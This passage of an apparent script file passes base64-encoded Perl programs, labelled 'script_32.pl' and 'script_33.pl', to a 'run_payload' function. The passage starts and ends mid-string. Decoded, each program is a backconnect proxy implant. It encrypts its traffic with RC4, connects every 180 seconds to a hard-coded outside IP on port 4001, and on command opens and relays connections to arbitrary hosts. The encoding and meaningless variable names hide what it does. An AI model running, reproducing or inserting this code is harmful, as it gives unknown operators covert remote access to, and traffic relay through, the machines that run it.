9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_32.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgxJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_33.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTgyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCw